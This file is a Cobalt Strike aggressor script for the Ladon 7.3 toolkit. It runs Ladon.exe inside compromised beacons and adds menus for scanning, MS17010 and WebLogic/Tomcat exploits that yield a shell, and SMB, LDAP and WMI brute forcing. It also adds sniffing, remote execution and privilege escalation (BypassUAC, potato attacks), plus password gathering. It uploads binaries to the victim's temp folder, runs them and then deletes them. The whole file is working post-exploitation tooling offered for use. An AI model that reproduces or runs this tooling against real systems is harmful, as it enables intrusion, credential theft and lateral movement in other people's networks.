Ladon.cna

#Ladon 7.3 for Cobalt Strike
#author:	k8gege
#blog:		http://k8gege.org/Ladon
#github:	https://github.com/k8gege
#teston:	CS 3.x & 4.0
#update: 	20200911

#Some functions are not compatible with CS, please use exe version
#Not Support: [NbtScan VncScan MysqlScan OracleScan SSHscan WinrmScan WinrmExec]  
#Not Support: [SubDomain PsExec DumpLsass] 

alias Ladon {
	if (-exists script_resource("Ladon.exe")) {
	if ($2 eq "help"){
	blog2($1, "Ladon 7.3");
	blog2($1, "Usage:");
	#blog2($1, "Ladon 1");
	blog2($1, "Ladon ip");
	blog2($1, "Ladon ip scantype");
	#blog2($1, "Ladon noping");
	blog2($1, "Ladon noping ip");
	blog2($1, "Ladon noping ip scantype");	
	blog2($1, "ScanType:(Discover/Brute/Encode/Exploit)");
	blog2($1, "ip: [ip ip/24 ip/26 ip/8]");
	blog2($1, "Discover: [OnlineIP OnlinePC OSscan CiscoScan]");
	blog2($1, "Discover: [WebScan WebScan2 SameWeb UrlScan WhatCMS WebDir SubDomain HostIP DomainIP]");
	blog2($1, "Vulnerable: [MS17010 SmbGhost WeblogicPoc PhpStudyPoc ActiveMQPoc TomcatPoc Struts2Poc]");
	blog2($1, "Vulnerable: [WeblogicExp TomcatExp]");
	blog2($1, "Brute-Force: [LdapScan FtpScan WmiScan SmbScan NbtScan LdapScan SmbHashScan WmiHashScan]");
	blog2($1, "Discover: [EnumMssql EnumShare EnumIIS EnumProcess GetCmdLine GetInfo GetInfo2 GetPipe GetHtml AdiDnsDump]");
	blog2($1, "Encode: [EnHex DeHex EnBase64 DeBase64]");
	blog2($1, "Sinffer: [[Sniffer FtpSniffer HttpSniffer HttpDownload FtpDownload]]");
	blog2($1, "RemoteExec: [AtExec WmiExec SshExec JspShell WebShell]");
	blog2($1, "GetInfo: [CheckDoor EnableDotNet GetIP GetHtml WebSer]");
	blog2($1, "Elevate: [MS16135 BypassUAC GetSystem Runas RunPS SweetPotato BadPotato]");
	blog2($1, "Example: Ladon 192.168.1.8/24 OnlinePC");	
	blog2($1, "Example: Ladon 192.168.1.8/24 *.ini");	
	blog2($1, "Example: Ladon 192.168.1.8/24 *.ps1");
	blog2($1, "Example: Ladon 192.168.1.8/24 *.dll(c#)");
	blog2($1, "Example: Ladon 192.168.1.8/24 *.exe(c#)");	
	return;}else
	{bexecute_assembly!($1, script_resource("Ladon.exe"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);}
	}else {berror($1, "Ladon.exe does not exist :(");}
}

sub LadonStart {
	blog2($bid,"Ladon ".$3["moudle"]);
	bcd!($bid, "c:\\windows\\temp");
	brm!($bid,"Ladon.exe");
	brm!($bid,"netscan.dll");
	#bshell!($bid,"del Ladon**.exe");
	if($3["moudle"] !eq "Default"){
		brm!($bid, "netscan.dll");
	}	
	bupload!($bid, script_resource("bin\\Ladon".$3['clrver'].".exe"));
	bmv!($bid, "Ladon".$3['clrver'].".exe", "Ladon.exe");
	if($3["moudle"] !eq "Default"){
		bupload!($bid, script_resource("bin\\".$3['moudle']."\\netscan".$3['clrver'].".dll"));
		bmv!($bid, "netscan".$3['clrver'].".dll", "netscan.dll");
	}

	bshell!($bid, "Ladon.exe");
	#bpause($1, 10000);
	brm!($bid,"Ladon.exe");
	if($3["moudle"] !eq "Default"){
		brm!($bid, "netscan.dll");
	}
}

sub LadonScan {
	if (-exists script_resource("Ladon.exe")) {
	if ($3['tar'] eq ""){
	return;
	}else
	{
	blog2($bid,"Ladon ".$3['tar'].' '.$3['moudle']);
	bexecute_assembly!($bid, script_resource("Ladon.exe"), $3['tar'].' '.$3['moudle']);}
	}else {berror($1, "Ladon.exe does not exist :(");}
}

sub GetInfo {
	if (-exists script_resource("Ladon.exe")) {
	if ($3['moudle'] eq ""){
	return;
	}else
	{
	blog2($bid,"Ladon ".$3['moudle']);
	bexecute_assembly!($bid, script_resource("Ladon.exe"),$3['moudle']);}
	}else {berror($1, "Ladon.exe does not exist :(");}
}

sub Sniffer {
	if (-exists script_resource("Ladon.exe")) {
	if ($3['tar'] eq ""){
	return;
	}else
	{
	blog2($bid,"Ladon ".$3['moudle'].' '.$3['tar']);
	bexecute_assembly!($bid, script_resource("Ladon.exe"), $3['moudle'].' '.$3['tar']);}
	}else {berror($1, "Ladon.exe does not exist :(");}
}

sub HttpDownload {
	if (-exists script_resource("Ladon.exe")) {
	if ($3['tar'] eq ""){
	return;
	}else
	{
	blog2($bid,"Ladon ".$3['moudle'].' '.$3['tar']);
	bexecute_assembly!($bid, script_resource("Ladon.exe"), $3['moudle'].' '.$3['tar']);}
	}else {berror($1, "Ladon.exe does not exist :(");}
}

sub ms17010 {
	if (-exists script_resource("Ladon.exe")) {
	if ($2 eq ""){
	return;}else
	{bexecute_assembly!($bid, script_resource("Ladon.exe"), $3['tar'].' MS17010');}
	}else {berror($1, "Ladon.exe does not exist :(");}
}

alias CVE-2019-2725-POC {
	if (-exists script_resource("Ladon.exe")) {
	if ($2 eq ""){
	return;}else
	{bexecute_assembly!($1, script_resource("Ladon.exe"), $2.' WeblogicPoc');}
	}else {berror($1, "Ladon.exe does not exist :(");}
}

alias CVE-2019-2725-EXP {
	if (-exists script_resource("Ladon.exe")) {
	if ($2 eq ""){
	return;}else
	{bexecute_assembly!($1, script_resource("Ladon.exe"), $2.' WeblogicExp');}
	}else {berror($1, "Ladon.exe does not exist :(");}
}

popup beacon_bottom {
menu "K8Ladon" {
item("&Update", { url_open("https://k8gege.org/Ladon?cs"); });
separator();
item "Discover" {
		$bid = $1;
		$dialog = dialog("Ladon Discover", %(tar => "",moudle => "OnlinePC",clrver => "35",bid => $bid), &LadonScan);
		dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
		drow_text($dialog, "tar",  "Target:");
		drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
		#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
		drow_checkbox($dialog, 'type', 'noping');
		dbutton_action($dialog, "Start");
		dialog_show($dialog);
}
item "Vulnerable" {
		$bid = $1;
		$dialog = dialog("Ladon Vulnerable", %(tar => "",moudle => "MS17010",clrver => "35",bid => $bid), &LadonScan);
		dialog_description($dialog, "Target: IP or CIDR");
		drow_text($dialog, "tar",  "Target:");
		drow_combobox($dialog, "moudle", "Moudle:", @("MS17010","Struts2Poc","WeblogicPoc","PhpStudyPoc","ActiveMQPoc","TomcatPoc"));
		#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
		drow_checkbox($dialog, 'type', 'noping');
		dbutton_action($dialog, "Start");
		dialog_show($dialog);
}

item "Exploit" {
		$bid = $1;
		$dialog = dialog("Ladon Exploit", %(tar => "",moudle => "MS17010",clrver => "35",bid => $bid), &LadonScan);
		dialog_description($dialog, "Target: IP or CIDR,Payload is Getshell");
		drow_text($dialog, "tar",  "Target:");
		drow_combobox($dialog, "moudle", "Moudle:", @("WeblogicExp","TomcatExp"));
		#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
		drow_checkbox($dialog, 'type', 'noping');
		dbutton_action($dialog, "Start");
		dialog_show($dialog);
}

item "Sniffer" {
		$bid = $1;
		$dialog = dialog("Ladon Sniffer", %(tar => "",moudle => "HttpSniffer",clrver => "35",bid => $bid), &Sniffer);
		dialog_description($dialog, "Target: Current Host IP");
		drow_text($dialog, "tar",  "Target:");
		drow_combobox($dialog, "moudle", "Moudle:", @("HttpSniffer","FtpSniffer","Sniffer"));
		#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
		drow_checkbox($dialog, 'type', 'noping');
		dbutton_action($dialog, "Start");
		dialog_show($dialog);
}

item "Brute-Force" {
		$bid = $1;
		$dialog = dialog("Ladon Brute-Force", %(tar => "",moudle => "LdapScan",clrver => "35",bid => $bid), &LadonScan);
		dialog_description($dialog, "Target: IP or CIDR or URL or Host<br>Brute-Force: Upload PassWord File to WorkDir");
		drow_text($dialog, "tar",  "Target:");
		drow_combobox($dialog, "moudle", "Moudle:", @("LdapScan","SmbScan","SmbHashScan","WmiHashScan","WmiScan","FtpScan","VncScan","MysqlScan","OracleScan","SSHscan","WeblogicScan","TomcatScan","HttpBasicScan","WebDir","SubDomain"));
		#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
		drow_checkbox($dialog, 'type', 'noping');
		dbutton_action($dialog, "Start");
		dialog_show($dialog);
}

item "HttpDownload" {
		$bid = $1;
		$dialog = dialog("Ladon Download", %(tar => "",moudle => "HttpDownload",clrver => "35",bid => $bid), &HttpDownload);
		dialog_description($dialog, "Target: url");
		drow_text($dialog, "tar",  "Target:");
		drow_combobox($dialog, "moudle", "Moudle:", @("HttpDownload"));
		#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
		drow_checkbox($dialog, 'type', 'noping');
		dbutton_action($dialog, "Start");
		dialog_show($dialog);
}

item "DC/LDAP" {
		$bid = $1;
		$dialog = dialog("Ladon DC/LDAP", %(tar => "",moudle => "HttpDownload",clrver => "35",bid => $bid), &LadonScan);
		dialog_description($dialog, "Target: IP");
		drow_text($dialog, "tar",  "Target:");
		drow_combobox($dialog, "moudle", "Moudle:", @("AdiDnsDump","LdapScan"));
		#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
		drow_checkbox($dialog, 'type', 'noping');
		dbutton_action($dialog, "Start");
		dialog_show($dialog);
}

item "Domain/IP" {
		$bid = $1;
		$dialog = dialog("Ladon Domain/IP", %(tar => "",moudle => "HttpDownload",clrver => "35",bid => $bid), &LadonScan);
		dialog_description($dialog, "Target: Domain or HostName");
		drow_text($dialog, "tar",  "Target:");
		drow_combobox($dialog, "moudle", "Moudle:", @("HostIP","DomainIP"));
		#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
		drow_checkbox($dialog, 'type', 'noping');
		dbutton_action($dialog, "Start");
		dialog_show($dialog);
}

item "GetInfo" {
		$bid = $1;
		$dialog = dialog("Ladon GetInfo", %(tar => "",moudle => "GetCmdLine",clrver => "35",bid => $bid), &GetInfo);
		dialog_description($dialog, "Get IIS/Process/CmdLine Info");
		#drow_text($dialog, "tar",  "Target:");
		drow_combobox($dialog, "moudle", "Moudle:", @("EnumIIS","EnumProcess","GetCmdLine","GetInfo","GetInfo2","GetHtml"));
		#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
		drow_checkbox($dialog, 'type', 'noping');
		dbutton_action($dialog, "Start");
		dialog_show($dialog);
}

item "PassWord" {
		$bid = $1;
		$dialog = dialog("Ladon PocScan", %(tar => "",moudle => "EnumIIS",clrver => "35",bid => $bid), &GetInfo);
		dialog_description($dialog, "Get PassWord");
		#drow_text($dialog, "tar",  "Target:");
		drow_combobox($dialog, "moudle", "Moudle:", @("EnumIIS"));
		#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
		drow_checkbox($dialog, 'type', 'noping');
		dbutton_action($dialog, "Start");
		dialog_show($dialog);
}

}}